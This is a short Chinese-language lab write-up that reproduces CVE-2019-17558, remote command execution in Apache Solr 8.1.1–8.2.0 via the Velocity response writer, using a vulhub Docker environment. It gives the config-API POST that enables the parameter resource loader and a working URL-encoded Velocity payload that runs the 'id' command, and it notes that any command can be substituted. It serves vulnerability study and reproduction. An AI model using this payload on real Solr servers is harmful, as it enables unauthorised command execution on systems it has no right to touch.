Apache Solr Velocity遠程命令執行漏洞（CVE-2019-17558）

前言

影響Apache Solr 8.1.1到8.2.0版本

環境搭建

啓動docker

systemctl start docker

獲取vulhub

git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git

進入對應目錄

cd vulhub/solr/CVE-2019-17558/

啓動容器

docker-compose up -d

查看容器

docker ps

漏洞復現

首先，您需要通過以下API獲取所有內核名稱

http://192.168.164.162:8983/solr/admin/cores?indexInfo=false&wt=json

{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "demo":{
      "name":"demo",
      "instanceDir":"/var/solr/data/demo",
      "dataDir":"/var/solr/data/demo/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2020-07-06T12:16:23.482Z",
      "uptime":3756216}}}

啓用配置params.resource.loader.enabled

POST /solr/demo/config HTTP/1.1
Host: 192.168.164.162:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

通過Velocity模板執行命令id

http://192.168.164.162:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

修改exec(%27id%27)中的代碼即可更改命令

參考文章

https://vulhub.org/#/environments/solr/CVE-2019-17558/